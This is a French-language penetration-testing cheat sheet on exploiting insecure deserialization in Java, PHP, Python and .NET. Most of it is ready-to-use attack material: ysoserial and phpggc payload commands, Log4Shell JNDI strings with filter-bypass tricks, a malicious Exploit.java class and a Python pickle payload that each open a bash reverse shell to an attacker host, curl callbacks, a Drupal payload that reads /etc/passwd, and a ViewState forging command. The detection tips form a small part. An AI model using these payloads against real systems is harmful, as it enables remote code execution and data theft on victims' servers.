---
title: "Désérialisation — Exploitation"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [deserialization, java, php, python, dotnet, RCE, exploitation, pentest]
difficulty: advanced
status: stable
updated: "2025-05-13"
---
## Identifier une désérialisation

```bash
# Java — magic bytes en base64
# rO0AB... = 0xACED 0x0005 (Java serialized object)
echo "rO0ABXNyAC5jb20u..." | base64 -d | xxd | head

# PHP — format O: ou a:
# O:8:"UserData":2:{s:4:"name";s:5:"admin";}
# a:2:{i:0;s:4:"test";i:1;i:42;}

# .NET — format AAEAAAD... (BinaryFormatter) ou JSON (ViewState)
# ViewState souvent en base64 dans les cookies

# Python — format pickle \x80\x04\x95
# Cookie ou paramètre base64 commençant par gASV

# Rechercher dans :
# - Cookies (session, viewstate, remember_me)
# - Paramètres POST
# - Headers (X-Serialized-Object, X-Java-...)
```

## Java — ysoserial

```bash
# Lister les gadget chains disponibles
java -jar ysoserial.jar

# Générer un payload RCE
java -jar ysoserial.jar CommonsCollections6 'ping -c1 {{LHOST}}' | base64 -w0
java -jar ysoserial.jar CommonsCollections1 'curl http://{{LHOST}}:{{LPORT}}/rce'
java -jar ysoserial.jar Spring1 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'
java -jar ysoserial.jar URLDNS 'http://{{LHOST}}/detection'   # détection blind

# Gadget chains courantes selon les libs présentes :
# CommonsCollections 1-7 → Apache Commons Collections
# Spring1/2          → Spring Framework
# Hibernate1/2       → Hibernate ORM
# JBossInterceptors  → JBoss
# WebLogic1/2        → Oracle WebLogic
# ROME               → ROME RSS library

# Envoyer le payload (remplacer le cookie ou le body)
curl -X POST https://{{TARGET}}/api/deserialize \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin
```

## Java — JNDI Injection (Log4Shell / Log4j)

```bash
# CVE-2021-44228 — Log4j 2 < 2.15.0
# Payload dans n'importe quel champ loggé (User-Agent, X-Forwarded-For, username...)

# Tester (Blind via DNS/HTTP)
${jndi:ldap://{{LHOST}}.burpcollaborator.net/a}
${jndi:dns://{{LHOST}}.burpcollaborator.net/a}

# Bypass de filtre
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://...}
${${lower:j}ndi:${lower:l}dap://...}
${j${::-n}di:ldap://...}

# RCE via JNDI + marshalsec LDAP redirect
# Démarrer un serveur LDAP malveillant
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \
  "http://{{LHOST}}:8888/#Exploit"

# Servir la classe Java malveillante
javac Exploit.java
python3 -m http.server 8888

# Exploit.java
public class Exploit {
  static { 
    try { Runtime.getRuntime().exec("bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1"); }
    catch (Exception e) {}
  }
}
```

## PHP — Désérialisation (unserialize)

```php
// Identifier : O:n:"ClassName":n:{...} dans cookie/param

// Gadget chain avec PHP Generic Gadgets
// phpggc — générateur de payloads PHP
phpggc -l                                   # lister les chains
phpggc Laravel/RCE1 system 'id'             # Laravel → RCE
phpggc Symfony/RCE4 exec 'id'              # Symfony
phpggc Drupal/FD1 'file_get_contents' '/etc/passwd'  # Drupal → LFI

# Encoder en base64
phpggc Laravel/RCE1 system 'curl http://{{LHOST}}:{{LPORT}}/' | base64 -w0

# Magic methods exploitables
# __wakeup()   → appelé à la désérialisation
# __destruct() → appelé à la destruction de l'objet
# __toString() → appelé si l'objet est converti en string
```

## Python — Pickle RCE

```python
# Pickle est dangereux dès qu'il vient d'une source non fiable
import pickle, base64, os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1',))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
# Envoyer dans le cookie ou paramètre vulnérable
```

```python
# Détecter un cookie pickle
import base64, pickle
data = base64.b64decode(cookie_value)
# Si commence par \x80\x04\x95 ou \x80\x02... c'est du pickle
```

## .NET — ViewState et BinaryFormatter

```bash
# ViewState non signé → désérialisation arbitraire
# Tester si __VIEWSTATE est signé
# Si MachineKey est connue → forger des payloads

# ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping {{LHOST}}"

# ViewState avec MachineKey connue
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "powershell -nop -e {{B64_PAYLOAD}}" \
  --generator=XXXXXXXX \
  --validationalg=SHA1 --validationkey={{MACHINE_KEY}}

# .NET Remoting / WCF — détecter via Content-Type application/octet-stream
# ou header SOAPAction avec namespace .NET
```

## Outils et framework

```bash
# Détecter via Burp Extensions
# - Java Deserialization Scanner
# - Freddy Deserialization Bug Finder

# GadgetProbe — détecter quelles classes sont disponibles côté serveur
java -jar GadgetProbe.jar http://{{TARGET}}/endpoint collaborator.net

# Exegol / Docker avec tous les outils
docker run -it ghcr.io/nwodtuhs/exegol java
```

<Tip>
Les gadget chains dépendent des bibliothèques tierces présentes sur le serveur. Faire une reconnaissance des versions (Commons Collections 3.x vs 4.x, Spring, etc.) avant de générer les payloads. Log4Shell reste exploitable dans des systèmes non patchés — toujours tester les headers HTTP complets.
</Tip>
